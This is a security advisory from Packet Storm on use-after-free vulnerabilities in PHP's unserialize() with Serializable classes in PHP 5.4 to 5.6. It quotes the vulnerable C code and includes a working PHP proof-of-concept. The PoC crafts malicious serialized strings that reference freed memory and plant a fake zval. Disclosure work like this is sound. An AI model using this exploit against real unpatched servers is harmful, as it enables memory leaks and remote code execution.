PHP 5.6 / 5.5 / 5.4 unserialize() Use-After-Free

2015-09-07T00:00:00
ID PACKETSTORM:133476
Type packetstorm
Reporter Taoguang Chen
Modified 2015-09-07T00:00:00

Description

                                        
                                            `#Use After Free Vulnerabilities in unserialize()  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:  
2015.7.31 - Release Date: 2015.9.4  
  
> Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.12  
Affected is PHP 5.5 < 5.5.28  
Affected is PHP 5.4 < 5.4.44  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
```  
if (ce->unserialize == NULL) {  
zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));  
object_init_ex(rval, ce);  
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p,  
datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {  
return 0;  
}  
  
(*p) += datalen;  
  
return finish_nested_data(UNSERIALIZE_PASSTHRU);  
```  
  
The unserialize() with Serializable class lead to various problems.  
  
i) Free the memory via crafted Serializable class  
  
```  
<?php  
  
class obj implements Serializable {  
var $data;  
function serialize() {  
return serialize($this->data);  
}  
function unserialize($data) {  
$this->data = unserialize($data);  
$this->data = 1;  
}  
}  
  
?>  
```  
  
ii) Free the memory via the process_nested_data() with a invalid  
serialized string  
  
```  
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable  
*ht, long elements, int objprops)  
{  
while (elements-- > 0) {  
zval *key, *data, **old_data;  
  
...  
  
ALLOC_INIT_ZVAL(data);  
  
if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {  
zval_dtor(key);  
FREE_ZVAL(key);  
zval_dtor(data);  
FREE_ZVAL(data); <=== free the memory  
return 0;  
}  
```  
  
iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().  
  
```  
PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)  
{  
  
...  
  
while (var_hash) {  
for (i = 0; i < var_hash->used_slots; i++) {  
zval_ptr_dtor(&var_hash->data[i]); <=== free the memory  
}  
  
...  
  
PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)  
{  
  
...  
  
if (*rval != NULL) {  
var_push_dtor_no_addref(var_hash, rval);  
}  
*rval = *rval_ref;  
```  
  
We can create ZVAL and free it via Serializable::unserialize. However  
the unserialize() will still allow to use R: or r: to set references  
to that already freed memory. It is possible to use-after-free attack  
and execute arbitrary code remotely.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.  
  
```  
<?php  
  
$fakezval = ptr2str(1122334455);  
$fakezval .= ptr2str(0);  
$fakezval .= "\x00\x00\x00\x00";  
$fakezval .= "\x01";  
$fakezval .= "\x00";  
$fakezval .= "\x00\x00";  
  
// i)  
//$inner = 'a:1:{i:0;i:1;}';  
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';  
// ii)  
$inner = 'a:2:{i:0;i:1;i:1;i:2';  
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';  
// iii)  
//$inner = 'r:1;';  
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';  
  
$data = unserialize($exploit);  
  
for ($i = 0; $i < 5; $i++) {  
$v[$i] = $fakezval.$i;  
}  
  
var_dump($data);  
  
function ptr2str($ptr)  
{  
$out = "";  
for ($i = 0; $i < 8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
class obj implements Serializable {  
var $data;  
function serialize() {  
return serialize($this->data);  
}  
function unserialize($data) {  
$this->data = unserialize($data);  
// i)  
// $this->data = '1';  
}  
}  
  
?>  
```  
  
Test the PoC on the command line:  
  
```  
$ php uafpoc.php  
array(2) {  
[0]=>  
object(obj)#1 (1) {  
["data"]=>  
bool(false)  
}  
[1]=>  
int(1122334455) <=== so we can control the memory and create fake ZVAL :)  
}  
```  
  
  
`